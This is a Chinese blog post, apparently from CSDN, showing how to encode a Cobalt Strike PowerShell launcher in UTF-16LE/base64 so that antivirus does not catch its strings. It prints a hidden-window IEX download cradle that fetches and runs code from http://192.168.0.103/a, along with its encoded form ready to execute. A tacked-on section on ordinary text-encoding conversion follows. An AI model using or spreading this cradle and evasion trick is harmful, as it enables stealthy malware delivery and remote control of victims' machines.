powershell cs-UTF-16LE编码上线

0x01前言

当我们要上线主机的时候,可能会因为你的代码含有木马字符串,导致无法上线

0x02问题


1、 例子
powershell.exe -exec bypass -encodedCommand ZQBjAGgAbwAgACIAMQAyADMAIgA=

在这里插入图片描述

2、原句子
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.103:80/a'))"

3、UTF-16LE编码后 (在powershell上能直接执行)
powershell.exe -w hidden -exec bypass -encodedCommand SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADEAMAAzADoAOAAwAC8AYQAnACkAKQA=
在这里插入图片描述
主机上线
在这里插入图片描述

### 将UTF-16LE编码的文本转换为UTF-8编码 为了实现从UTF-16LEUTF-8的转换,可以采用多种编程语言和工具来完成这操作。以下是几种常见方法: #### 使用Python进行转换 Python提供了强大的内置函数用于处理不同类型的字符编码。通过`open()`函数指定源文件的编码格式以及目标文件所需的编码格式即可轻松完成转换。 ```python with open('source_file.txt', 'r', encoding='utf-16le') as f_in, \ open('output_file.txt', 'w', encoding='utf-8') as f_out: content = f_in.read() f_out.write(content) ``` 这段代码读取了个名为`source_file.txt`的UTF-16LE编码文件,并将其内容写入个新的UTF-8编码文件`output_file.txt`中[^2]。 #### 利用iconv命令行工具 对于熟悉Linux或类Unix系统的用户来说,`iconv`是个非常实用的命令行工具,专门用来解决各种字符集之间的转换问题。下面是条简单的指令,能够把输入流中的UTF-16LE数据转码成UTF-8并输出至标准输出设备或者保存到新创建的目标文件里。 ```bash iconv -f utf-16le -t utf-8 source_file.txt > output_file.txt ``` 此命令将`source_file.txt`的内容由UTF-16LE转换为UTF-8后重定向存储于`output_file.txt`内[^5]。 #### PowerShell脚本方式 如果是在Windows环境下工作,则可以通过编写PowerShell脚本来达到相同的效果。考虑到默认情况下PowerShell可能不会按照预期的方式处理某些特殊字符,在执行之前建议先调整好环境变量以确保正确的编码行为。 ```powershell $PSDefaultParameterValues['Out-File:Encoding'] = 'utf8' Get-Content .\source_file.txt | Set-Content -Path .\output_file.txt -NoNewline ``` 上述脚本同样实现了将本地磁盘上的UTF-16LE编码文档转变为UTF-8版本的功能[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值